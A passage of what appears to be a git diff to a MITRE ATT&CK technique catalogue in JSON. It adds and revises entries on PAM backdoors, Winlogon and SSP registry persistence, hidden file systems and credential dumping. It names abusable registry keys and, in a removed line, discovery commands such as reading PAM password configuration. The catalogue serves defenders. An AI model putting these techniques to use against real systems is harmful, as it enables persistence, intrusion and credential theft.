/etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)", + "meta": { + "external_id": "T1556.003", + "kill_chain": [ + "mitre-attack:credential-access", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Authentication logs", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1556/003", + "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt", + "https://linux.die.net/man/8/pam_unix", + "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules", + "https://github.com/zephrax/linux-pam-backdoor", + "https://x-c3ll.github.io/posts/PAM-backdoor-DNS/" + ] + }, + "related": [ + { + "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", + "type": "subtechnique-of" + } + ], + "uuid": "06c00069-771a-4d57-8ef5-d3718c1a8771", + "value": "Pluggable Authentication Modules - T1556.003" + }, + { + "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "meta": { + "external_id": "T1565.003", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1565/003", + "https://content.fireeye.com/apt/rpt-apt38", + "https://www.justice.gov/opa/press-release/file/1092091/download" + ] + }, + "related": [ + { + "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", + "type": "subtechnique-of" + } + ], + "uuid": "32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", + "value": "Runtime Data Manipulation - T1565.003" + }, + { + "description": "Adversaries may send spearphishing messages via third-party services in an attempt to elicit sensitive information and/or gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", + "meta": { + "external_id": "CAPEC-163", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "SSL/TLS inspection", + "Anti-virus", + "Web proxy" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1566/003", + "https://capec.mitre.org/data/definitions/163.html" + ] + }, + "related": [ + { + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "type": "subtechnique-of" + } + ], + "uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "value": "Spearphishing via Service - T1566.003" + }, + { + "description": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)", + "meta": { + "external_id": "T1578.003", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "GCP audit logs", + "Stackdriver logs", + "Azure activity logs", + "AWS CloudTrail logs" + ], + "mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1578/003", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/", + "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs", + "https://cloud.google.com/logging/docs/audit#admin-activity" + ] + }, + "related": [ + { + "dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90", + "type": "subtechnique-of" + } + ], + "uuid": "70857657-bd0b-4695-ad3e-b13f92cac1b4", + "value": "Delete Cloud Instance - T1578.003" + }, + { + "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", + "meta": { + "external_id": "T1564.004", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "API monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1564/004", + "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea", + "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/", + "http://msdn.microsoft.com/en-us/library/aa364404", + "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/", + "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/", + "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", + "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/", + "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", + "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore" + ] + }, + "related": [ + { + "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", + "type": "subtechnique-of" + } + ], + "uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", + "value": "NTFS File Attributes - T1564.004" + }, + { + "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", + "meta": { + "external_id": "CAPEC-579", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/004", + "https://capec.mitre.org/data/definitions/579.html", + "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", + "value": "Winlogon Helper DLL - T1547.004" + }, + { + "description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)", + "meta": { + "external_id": "T1564.005", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1564/005", + "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html", + "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html", + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" + ] + }, + "related": [ + { + "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", + "type": "subtechnique-of" + } + ], + "uuid": "dfebc3b7-d19d-450b-81c7-6dafe4184c04", + "value": "Hidden File System - T1564.005" + }, + { + "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)", + "meta": { + "external_id": "T1547.005", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/005", + "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "https://technet.microsoft.com/en-us/library/dn408187.aspx" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "5095a853-299c-4876-abd7-ac0050fb5462", + "value": "Security Support Provider - T1547.005" + }, + { + "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)", + "meta": { + "external_id": "T1564.006", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Packet capture", + "Host network interface", + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1564/006", + "https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/" + ] + }, + "related": [ + { + "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", + "type": "subtechnique-of" + } + ], + "uuid": "b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "value": "Run Virtual Instance - T1564.006" + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", + "meta": { + "external_id": "T1546.007", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Windows Registry", + "DLL monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/007", + "https://technet.microsoft.com/library/bb490939.aspx", + "https://github.com/outflankbv/NetshHelperBeacon", + "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", + "value": "Netsh Helper DLL - T1546.007" + }, + { + "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", + "meta": { + "external_id": "T1578.004", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Stackdriver logs", + "GCP audit logs", + "Azure activity logs", + "AWS CloudTrail logs" + ], + "mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1578/004", + "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/", + "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots" + ] + }, + "related": [ + { + "dest-uuid": "144e007b-e638-431d-a894-45d90c54ab90", + "type": "subtechnique-of" + } + ], + "uuid": "0708ae90-d0eb-4938-9a76-d0fc94f6eec1", + "value": "Revert Cloud Instance - T1578.004" + }, { "description": "Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)", "meta": { @@ -4476,7 +8914,7 @@ "value": "Identify business processes/tempo - T1280" }, { - "description": "### Windows\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n### Mac\n\nOn Mac, the currently logged in user can be identified with users,w, and who.\n\n### Linux\n\nOn Linux, the currently logged in user can be identified with w and who.", + "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nUtilities and commands that acquire this information include whoami. In Mac and Linux, the currently logged in user can be identified with w and who.", "meta": { "external_id": "CAPEC-577", "kill_chain": [ @@ -4647,7 +9085,7 @@ "value": "Obtain booter/stressor subscription - T1396" }, { - "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script.", + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.", "meta": { "external_id": "T1010", "kill_chain": [ @@ -4669,21 +9107,44 @@ "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", "value": "Application Window Discovery - T1010" }, + { + "description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n", + "meta": { + "external_id": "T1003", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "PowerShell logs", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1003", + "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea", + "https://github.com/mattifestation/PowerSploit", + "https://msdn.microsoft.com/library/cc228086.aspx", + "https://msdn.microsoft.com/library/dd207691.aspx", + "https://wiki.samba.org/index.php/DRSUAPI", + "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", + "https://msdn.microsoft.com/library/cc237008.aspx", + "https://msdn.microsoft.com/library/cc245496.aspx", + "https://adsecurity.org/?p=1729" + ] + }, + "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "value": "OS Credential Dumping - T1003" + }, { "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.", "meta": { "external_id": "CAPEC-579", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1004", "https://capec.mitre.org/data/definitions/579.html", @@ -4691,6 +9152,15 @@ "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, + "related": [ + { + "dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", "value": "Winlogon Helper DLL - T1004" }, @@ -4721,28 +9191,46 @@ "description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n", "meta": { "external_id": "T1500", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1500", "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/" ] }, + "related": [ + { + "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "cf7b3a06-8b42-4c33-bbe9-012120027925", "value": "Compile After Delivery - T1500" }, + { + "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)", + "meta": { + "external_id": "T1006", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1006", + "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin", + "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1" + ] + }, + "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", + "value": "Direct Volume Access - T1006" + }, { "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "meta": { @@ -4766,7 +9254,7 @@ "value": "System Service Discovery - T1007" }, { - "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1023) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", + "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.", "meta": { "external_id": "CAPEC-562", "kill_chain": [ @@ -4792,28 +9280,26 @@ "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)", "meta": { "external_id": "T1101", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1101", "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", "https://technet.microsoft.com/en-us/library/dn408187.aspx" ] }, + "related": [ + { + "dest-uuid": "5095a853-299c-4876-abd7-ac0050fb5462", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446", "value": "Security Support Provider - T1101" }, { - "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", + "description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.", "meta": { "external_id": "CAPEC-646", "kill_chain": [ @@ -4838,7 +9324,7 @@ "value": "Peripheral Device Discovery - T1120" }, { - "description": "Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\n\n### Windows\n* net accounts\n* net accounts /domain\n\n### Linux\n* chage -l \n* cat /etc/pam.d/common-password\n\n### macOS\n* pwpolicy getaccountpolicies", + "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force 